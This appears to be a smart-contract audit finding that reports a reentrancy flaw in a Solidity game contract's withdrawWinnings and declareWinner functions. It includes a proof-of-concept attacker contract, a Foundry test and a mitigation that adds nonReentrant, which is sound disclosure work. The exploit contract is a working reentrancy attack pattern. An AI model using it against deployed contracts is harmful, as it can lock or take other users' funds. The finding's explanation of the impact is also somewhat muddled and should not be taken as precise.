Description: function declareWinner is not protected by nonReentrant.
If declareWinner is invoked in withdrawWinnings and the winner is the caller,
the caller’s winnings are set to zero before they can withdraw,
resulting in some funds becoming permanently locked in the contract.
function withdrawWinnings() external nonReentrant {
...
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Game: Failed to withdraw winnings.");
@> pendingWinnings[msg.sender] = 0;
...
}
Impact: It can lead to a loss of funds for the winner, as they will not be able to withdraw their winnings after the declareWinner function is called.
Proof of Concept:
prequisites: need to fix logic in claimThrone function first, otherwise the test will fail.
add the following
pragma solidity ^0.8.10;
import {Game} from "../../src/Game.sol";
contract GameAttacker {
Game public game;
uint256 public counter;
constructor(address _game) {
game = Game(payable(_game));
}
receive() external payable {
if(counter > 0){
counter--;
if(game.gameEnded() == false &&
game.currentKing() != address(0) &&
game.lastClaimTime() + game.gracePeriod() < block.timestamp) {
game.declareWinner();
}
}
}
function attack() external {
counter = 1;
game.withdrawWinnings();
}
function withdrawWinnings() external {
game.withdrawWinnings();
}
function claimThrone() external payable {
game.claimThrone{value: msg.value}();
}
}
The add following test and run it
function testReentrancyAttack() public {
GameAttacker attacker = new GameAttacker(address(game));
assertEq(game.pendingWinnings(address(attacker)), 0);
attacker.claimThrone{value: game.claimFee()}();
uint256 gracePeriod = game.gracePeriod();
vm.warp(block.timestamp + gracePeriod + 1);
game.declareWinner();
assertGt(game.pendingWinnings(address(attacker)), 0);
vm.prank(deployer);
game.resetGame();
attacker.claimThrone{value: game.claimFee()}();
gracePeriod = game.gracePeriod();
vm.warp(block.timestamp + gracePeriod + 1);
assertGt(game.pendingWinnings(address(attacker)), 0);
assertEq(game.pot() + game.pendingWinnings(address(attacker)) + game.platformFeesBalance(), address(game).balance);
attacker.attack();
assertLt(game.pot() + game.pendingWinnings(address(attacker)) + game.platformFeesBalance(), address(game).balance);
}
Recommended Mitigation:
add nonReentrant modifier to declareWinner function to prevent reentrancy attacks.
function declareWinner() external nonReentrant {
...
}
